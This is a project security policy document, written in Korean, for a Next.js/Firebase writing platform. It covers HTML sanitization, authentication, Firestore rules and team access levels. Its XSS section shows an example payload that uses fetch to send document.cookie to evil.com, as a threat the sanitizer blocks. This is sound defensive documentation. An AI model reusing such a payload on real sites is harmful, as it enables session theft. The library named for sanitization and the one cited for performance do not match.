2025-12-02 06:27:21 +00:00

358 lines
11 KiB
Markdown

# Security Policy
라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.
---
## 🔒 보안 조치 요약
| 보안 영역 | 조치 | 상태 | 적용일 |
|----------|------|------|--------|
| **XSS 방지** | HTML Sanitization | ✅ 적용 완료 | 2025-11-19 |
| **인증** | Firebase Auth | ✅ 적용 완료 | 2025-10-xx |
| **API 인증** | JWT Token (ID Token) | ✅ 적용 완료 | 2025-10-xx |
| **SQL Injection** | Firestore (NoSQL) | ✅ 원천 방지 | - |
| **CSRF** | SameSite Cookies | 🚧 검토 필요 | - |
| **Rate Limiting** | API 요청 제한 | ⏳ 예정 | - |
---
## 1. XSS (Cross-Site Scripting) 방지
### 문제점
- 사용자가 작성한 글 (`writings` 컬렉션)의 `content` 필드는 **HTML 문자열**로 저장됩니다.
- Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 **API를 직접 호출**하여 악성 스크립트를 주입할 수 있습니다.
**공격 시나리오**:
```typescript
// 악의적인 API 호출
POST /api/writing
{
"title": "정상 제목",
"content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}
```
### 해결책: HTML Sanitization
**백엔드 자동 세탁** (`src/lib/server/writing.ts`):
```typescript
import { sanitizeHtml } from "@/utils/sanitizeHtml";
// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);
// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
updateData.content = sanitizeHtml(data.content);
}
```
**세탁 규칙** (`src/utils/sanitizeHtml.ts`):
-**허용된 태그**: `<p>`, `<strong>`, `<em>`, `<h1-6>`, `<ul>`, `<ol>`, `<li>`, `<a>`, `<img>`, `<blockquote>`, `<code>`, 등 (Tiptap 기본)
-**차단된 태그**: `<script>`, `<iframe>`, `<object>`, `<embed>`, `<style>`, `<link>`, `<meta>`, 등
-**차단된 속성**: `onerror`, `onclick`, `onmouseover`, 모든 `on*` 이벤트 핸들러
-**차단된 프로토콜**: `javascript:`, 위험한 `data:` URI
**라이브러리**: `sanitize-html` (서버 사이드 전용, Next.js와 호환성 우수)
**테스트 커버리지**: 26개 유닛 테스트 (`src/utils/__tests__/sanitizeHtml.test.ts`)
- ✅ 안전한 HTML 보존 테스트 (7개)
- ✅ XSS 공격 벡터 차단 테스트 (10개)
- ✅ Edge case 처리 (4개)
- ✅ 실제 Tiptap HTML 호환성 (2개)
- ✅ 배치 처리 및 객체 세탁 (3개)
**성능 영향**:
- DOMPurify는 빠른 성능 (평균 1-2ms per document)
- 글 저장 시 한 번만 실행 (조회 시 불필요)
---
## 2. 인증 (Authentication)
### Firebase Authentication
- **제공자**: Email/Password, Google OAuth
- **익명 로그인**: 팀 코드 기반 (Level 1 보안)
- **정식 계정**: Google 계정 연동, 이메일/비밀번호
### API 인증
모든 API 요청은 Firebase ID Token 검증:
```typescript
// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
if (!authHeader?.startsWith("Bearer ")) {
throw new Error("인증 토큰이 없습니다.");
}
const idToken = authHeader.substring(7);
const decodedToken = await adminAuth.verifyIdToken(idToken);
return decodedToken;
}
```
**적용 위치**: 모든 `POST`, `PUT`, `DELETE` API 엔드포인트
---
## 3. 권한 관리 (Authorization)
### 글 소유권 검증
- 사용자는 **본인의 글만** 조회/수정/삭제 가능
- 백엔드에서 `userId` 검증:
```typescript
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
const writing = await getWriting(writingId);
return writing !== null && writing.userId === userId;
}
```
### 팀 권한
- **소유자(Owner)**: 팀 설정 변경, 멤버 관리, 삭제
- **멤버**: 팀 조회, 주제 작성, 탈퇴
---
## 4. SQL Injection 방지
**Firestore 사용으로 원천 차단**:
- NoSQL 데이터베이스 사용
- 쿼리는 타입 안전한 SDK로만 실행
- Raw SQL 쿼리 불가능
---
## 5. 데이터 보호
### 민감 정보 처리
- **이메일**: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
- **비밀번호**: Firebase Auth가 암호화 관리
- **API 키**: 환경 변수로 관리 (`.env` 파일, `.gitignore` 적용)
### Firestore 보안 규칙
```javascript
// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// 사용자는 본인 문서만 읽기/쓰기
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
}
// 글은 소유자만 수정/삭제
match /writings/{writingId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update, delete: if request.auth.uid == resource.data.userId;
}
// 댓글: 누구나 읽기 가능, 작성자만 수정, 작성자/글소유자/팀소유자 삭제
match /comments/{commentId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update: if request.auth.uid == resource.data.userId;
allow delete: if request.auth.uid == resource.data.userId ||
(resource.data.writingUserId == request.auth.uid) ||
(resource.data.teamOwnerId == request.auth.uid);
}
}
}
```
---
## 6. HTTPS 강제
**Production 환경**:
- ✅ Vercel 배포 시 자동 HTTPS 적용
- ✅ HTTP → HTTPS 자동 리다이렉트
- ✅ HSTS 헤더 설정
---
## 7. 환경 변수 보호
**민감 정보 관리**:
```bash
# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx # 서버 전용
```
**보안 체크리스트**:
-`.env` 파일은 `.gitignore`에 포함
-`NEXT_PUBLIC_*`은 클라이언트 노출 가능 (Firebase API Key)
- ✅ 서버 전용 변수는 `NEXT_PUBLIC_` 접두어 없이 사용
- ✅ Production 환경 변수는 Vercel에서 관리
---
## 8. Rate Limiting (예정)
**계획 중인 조치**:
- API 엔드포인트별 요청 제한 (예: 1분당 60회)
- DDoS 방지
- Vercel Edge Functions + Upstash Redis 고려
---
## 9. 보안 취약점 발견 시
### 보고 절차
1. **즉시 보고**: GitHub Issues에 **비공개** 이슈 생성 (Security Advisories 사용)
2. **제목 형식**: `[SECURITY] 취약점 요약`
3. **포함 정보**:
- 취약점 설명
- 재현 방법 (PoC)
- 영향 범위
- 제안 해결책
### 보안 업데이트 절차
1. 취약점 확인 및 우선순위 설정
2. 패치 개발 및 테스트
3. 긴급 배포 (Critical 취약점)
4. 공개 공지 (패치 후)
---
## 10. 보안 체크리스트 (개발자용)
**새 기능 개발 시 확인 사항**:
- [ ] 사용자 입력 검증 (클라이언트 + 서버)
- [ ] HTML/SQL Injection 방지
- [ ] 인증/권한 확인
- [ ] 민감 정보 로깅 금지
- [ ] HTTPS 사용
- [ ] 환경 변수 적절히 관리
- [ ] 에러 메시지에 민감 정보 노출 금지
- [ ] 보안 테스트 작성
**의존성 관리**:
```bash
# 정기적으로 취약점 검사
npm audit
npm audit fix
# 의존성 업데이트
npm update
```
---
## 11. 참고 자료
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
- [Firebase Security Rules](https://firebase.google.com/docs/rules)
- [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
- [Next.js Security](https://nextjs.org/docs/app/building-your-application/configuring/content-security-policy)
---
## 13. 5단계 보안 레벨 시스템
라온누리는 팀별로 선택 가능한 5가지 보안 레벨을 제공합니다.
### 보안 레벨 개요
| Level | Enum | 이름 | 익명 허용 | 가입 제한 | 주요 사용처 |
|-------|------|------|-----------|-----------|------------|
| **1** | `OPEN` | 완전 개방 | ✅ | 닉네임 공유 로그인 | 공개 워크샵, 체험 수업 |
| **2** | `NAME_LIST` | 명단 기반 | ✅ | `allowedNames` 체크 | 저학년 반 (익명이지만 통제) |
| **3** | `AUTH_REQUIRED` | 로그인 필수 | ❌ | 정식 계정 누구나 | 고학년 반 (구글 계정) ⭐ 추천 |
| **4** | `EMAIL_LIST` | 이메일 제한 | ❌ | `allowedEmails` 체크 | 특정 학생만 (전학생 차단) |
| **5** | `CLOSED` | 닫힌 팀 | ❌ | 신규 가입 차단 | 졸업반, 종료된 프로젝트 |
### 핵심 동작
**Level 1 (OPEN)**:
- 닉네임 중복 시 Custom Token으로 재로그인 (익명 계정만)
- 정식 계정 탈취 방지 (Custom Token API에서 익명 체크)
- **보안 조치**: Firebase Admin SDK로 `providerData` 검증
- ✅ 익명 계정 (`providerData.length === 0`): Custom Token 발급
- ❌ 정식 계정 (Google/Email): 403 에러 반환
```typescript
// POST /api/team/get-custom-token
const userRecord = await adminAuth.getUser(uid);
if (userRecord.providerData.length > 0) {
// 정식 계정 → 거부
return forbiddenResponse("해당 이름은 다른 사용자가 사용 중입니다.");
}
// 익명 계정 → Custom Token 발급
const customToken = await adminAuth.createCustomToken(uid);
return successResponse({ customToken });
```
**Level 2 (NAME_LIST)**:
- `team.allowedNames` 배열 체크
- 익명 로그인 허용하되, 등록된 이름만 입장 가능
- 저학년 반에 적합 (익명이지만 통제)
**Level 3 (AUTH_REQUIRED)**:
- `user.isAnonymous === false` 체크
- 정식 계정(구글/이메일) 필수
- 고학년 반 권장
**Level 4 (EMAIL_LIST)**:
- `team.allowedEmails` 배열 체크
- 특정 학생만 접근 가능 (이메일 화이트리스트)
**Level 5 (CLOSED)**:
- `uid in team.members` 체크만
- 신규 가입 차단, 기존 멤버만 접근
### 레벨 변경 규칙
```typescript
await teamManager.updateSecurityLevel(teamId, 4, true);
// autoPopulateList: true → 기존 멤버 이메일/이름 자동 등록
// Level 3→4: 기존 멤버 이메일 자동 등록
// Level 2→4: 기존 익명 멤버는 유지, 신규는 정식 계정만
```
**API 엔드포인트**:
- `POST /api/team/:teamId/security-level` - 보안 레벨 변경
- `POST /api/team/:teamId/allowed-names` - 이름 추가 (Level 2)
- `DELETE /api/team/:teamId/allowed-names` - 이름 제거 (Level 2)
- `POST /api/team/:teamId/allowed-emails` - 이메일 추가 (Level 4)
- `DELETE /api/team/:teamId/allowed-emails` - 이메일 제거 (Level 4)
- `POST /api/team/get-custom-token` - Custom Token 생성 (Level 1)
**참조**: `DATA_MODELS.md`, `API_SPEC.md`
---
## 14. 데이터 모델 보안
### User 타입 최소화
- **FirestoreUser** (DB): uid, createdAt, lastLoginAt, settings만 저장
- **User** (UI): Firebase Auth + Firestore 자동 결합
- 이름, 이메일, 사진은 Firebase Auth가 Single Source of Truth
- **보안 이점**: 민감 정보 중복 저장 방지, 데이터 일관성 보장
### 닉네임 저장 위치
-`users.nicknames[teamId]` (기존) - 중복 저장
-`team.members[uid].nickname` (신규) - 단일 진실 공급원
- **보안 이점**: 팀 탈퇴 시 자동 삭제, 권한 관리 용이
### memberUids 제거
-`team.memberUids` 배열 (중복, 동기화 이슈)
-`Object.keys(team.members)` 사용
- 멤버 확인: `uid in team.members`
- **보안 이점**: 데이터 불일치 방지, atomic 업데이트
---
© 2024 BlueNovaLab. All rights reserved.